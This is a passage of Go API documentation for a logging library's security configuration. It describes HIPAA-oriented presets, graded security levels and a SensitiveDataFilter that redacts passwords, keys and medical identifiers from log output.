func HealthcareConfig() *SecurityConfig

HealthcareConfig returns a security config optimized for HIPAA compliance. This includes all patterns from DefaultSecureConfig plus healthcare-specific patterns:

  • ICD-10 diagnosis codes (with medical context)
  • US National Provider Identifier (NPI)
  • Medical Record Numbers (MRN)
  • Health Insurance Claim Numbers (HICN)

Use this configuration for applications handling Protected Health Information (PHI) in healthcare, medical, and insurance environments.

func SecurityConfigForLevel added in v1.2.0

func SecurityConfigForLevel(level SecurityLevel) *SecurityConfig

SecurityConfigForLevel returns a SecurityConfig configured for the specified security level. This provides a convenient way to configure security based on deployment environment.

func (*SecurityConfig) Clone added in v1.0.8

func (sc *SecurityConfig) Clone() *SecurityConfig

Clone creates a copy of the SecurityConfig.

Deep copy:

  • SensitiveFilter (via SensitiveDataFilter.Clone())

Returns nil if the receiver is nil.

type SecurityLevel added in v1.2.0

type SecurityLevel int

SecurityLevel defines the security level for the logger. Higher levels provide more protection but may impact performance.

const (
	// SecurityLevelDevelopment provides minimal security for development.
	// - No sensitive data filtering
	// - No rate limiting
	// - No audit logging
	// Use only in local development environments.
	SecurityLevelDevelopment SecurityLevel = iota

	// SecurityLevelBasic provides basic security for non-production environments.
	// - Basic sensitive data filtering (passwords, API keys, credit cards)
	// - No rate limiting
	// - No audit logging
	// Suitable for staging and testing environments.
	SecurityLevelBasic

	// SecurityLevelStandard provides standard security for production.
	// - Full sensitive data filtering
	// - Rate limiting enabled
	// - Basic audit logging
	// Recommended for most production deployments.
	SecurityLevelStandard

	// SecurityLevelStrict provides enhanced security for sensitive environments.
	// - Full sensitive data filtering
	// - Strict rate limiting
	// - Full audit logging
	// - Input sanitization
	// Suitable for environments handling PII or financial data.
	SecurityLevelStrict

	// SecurityLevelParanoid provides maximum security for high-risk environments.
	// - Full sensitive data filtering with all patterns
	// - Very strict rate limiting
	// - Complete audit logging
	// - All input validation
	// - Log integrity verification
	// Use for healthcare (HIPAA), financial (PCI-DSS), or government systems.
	SecurityLevelParanoid
)

func (SecurityLevel) String added in v1.2.0

func (l SecurityLevel) String() string

String returns the string representation of the security level.

type SensitiveDataFilter

type SensitiveDataFilter struct {
	// contains filtered or unexported fields
}

func NewBasicSensitiveDataFilter

func NewBasicSensitiveDataFilter() *SensitiveDataFilter

func NewCustomSensitiveDataFilter

func NewCustomSensitiveDataFilter(patterns ...string) (*SensitiveDataFilter, error)

func NewEmptySensitiveDataFilter

func NewEmptySensitiveDataFilter() *SensitiveDataFilter

func NewSensitiveDataFilter

func NewSensitiveDataFilter() *SensitiveDataFilter

func (*SensitiveDataFilter) ActiveGoroutineCount added in v1.2.0

func (f *SensitiveDataFilter) ActiveGoroutineCount() int32

ActiveGoroutineCount returns the number of currently active filter goroutines. This can be used for monitoring and detecting potential goroutine leaks in high-concurrency scenarios. A consistently high count may indicate that filter operations are timing out frequently.

func (*SensitiveDataFilter) AddPattern

func (f *SensitiveDataFilter) AddPattern(pattern string) error

func (*SensitiveDataFilter) AddPatterns

func (f *SensitiveDataFilter) AddPatterns(patterns ...string) error

func (*SensitiveDataFilter) ClearPatterns

func (f *SensitiveDataFilter) ClearPatterns()

func (*SensitiveDataFilter) Clone

Clone creates a copy of the SensitiveDataFilter.

Shared (immutable):

  • patterns slice pointer (shared for better performance, patterns are immutable after creation)
  • hashSeed (shared for consistent hashing)

IMPORTANT: The patterns slice is shared between original and clone. This is safe because patterns are immutable after creation. DO NOT modify the underlying patterns slice directly. Always use AddPattern() method which creates a new slice.

New instances (not shared):

  • semaphore channel (new channel with same capacity)
  • cache (new empty cache)
  • counters (reset to 0)

Returns nil if the receiver is nil.

func (*SensitiveDataFilter) Close added in v1.2.0

func (f *SensitiveDataFilter) Close() bool

Close marks the filter as closed and waits for active goroutines to complete. After calling Close, the Filter method will return input unchanged without spawning new goroutines. This prevents goroutine leaks during shutdown.

IMPORTANT: Always call Close (or WaitForGoroutines) before program exit to ensure all background goroutines complete gracefully.

Returns true if all goroutines completed within the timeout, false otherwise.

func (*SensitiveDataFilter) Disable

func (f *SensitiveDataFilter) Disable()

func (*SensitiveDataFilter) Enable

func (f *SensitiveDataFilter) Enable()

func (*SensitiveDataFilter) Filter

func (f *SensitiveDataFilter) Filter(input string) string

func (*SensitiveDataFilter) FilterFieldValue

func (f *SensitiveDataFilter) FilterFieldValue(key string, value any) any

func (*SensitiveDataFilter) FilterValueRecursive added in v1.2.0

func (f *SensitiveDataFilter) FilterValueRecursive(key string, value any) any

FilterValueRecursive recursively filters sensitive data from nested structures. It processes maps, slices, arrays, and structs to filter sensitive values. Circular references are detected and replaced with "[CIRCULAR_REFERENCE]". Maximum recursion depth is limited to maxRecursionDepth to prevent stack overflow.

func (*SensitiveDataFilter) GetFilterStats added in v1.2.0

func (f *SensitiveDataFilter) GetFilterStats() FilterStats

GetFilterStats returns current filter statistics for monitoring. This is useful for health checks, metrics collection, and debugging.

Example:

stats := filter.GetFilterStats()
fmt.Printf("Active goroutines: %d\n", stats.ActiveGoroutines)
fmt.Printf("Patterns: %d\n", stats.PatternCount)
fmt.Printf("Enabled: %v\n", stats.Enabled)
fmt.Printf("Total filtered: %d\n", stats.TotalFiltered)
fmt.Printf("Average latency: %v\n", stats.AverageLatency)

func (*SensitiveDataFilter) IsEnabled

func (f *SensitiveDataFilter) IsEnabled() bool

func (*SensitiveDataFilter) PatternCount

func (f *SensitiveDataFilter) PatternCount() int

func (*SensitiveDataFilter) WaitForGoroutines added in v1.2.0

func (f *SensitiveDataFilter) WaitForGoroutines(timeout time.Duration) bool

WaitForGoroutines waits for all active filter goroutines to complete or until the timeout is reached.

IMPORTANT: Call this method before program exit to prevent goroutine leaks. In high-concurrency scenarios with large inputs, filter operations may spawn background goroutines for regex processing. Failing to wait for these goroutines can result in resource leaks and incomplete log filtering.

Recommended usage in shutdown sequence:

// 1. Stop accepting new log messages
// 2. Wait for filter goroutines to complete
logger.WaitForFilterGoroutines(5 * time.Second)
// 3. Close the logger
logger.Close()

Returns true if all goroutines completed, false if timeout was reached.

type WriteErrorHandler added in v1.2.0

type WriteErrorHandler func(writer io.Writer, err error)

type WriterError added in v1.2.0

type WriterError struct {
	Index  int       // Index of the writer in the MultiWriter
	Writer io.Writer // The writer that encountered the error
	Err    error     // The error that occurred
}

WriterError represents an error from a single writer in a MultiWriter.

func (*WriterError) Error added in v1.2.0

func (e *WriterError) Error() string

Error implements the error interface.

func (*WriterError) Unwrap added in v1.2.0

func (e *WriterError) Unwrap() error

Unwrap returns the underlying error.

Directories

Path Synopsis

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL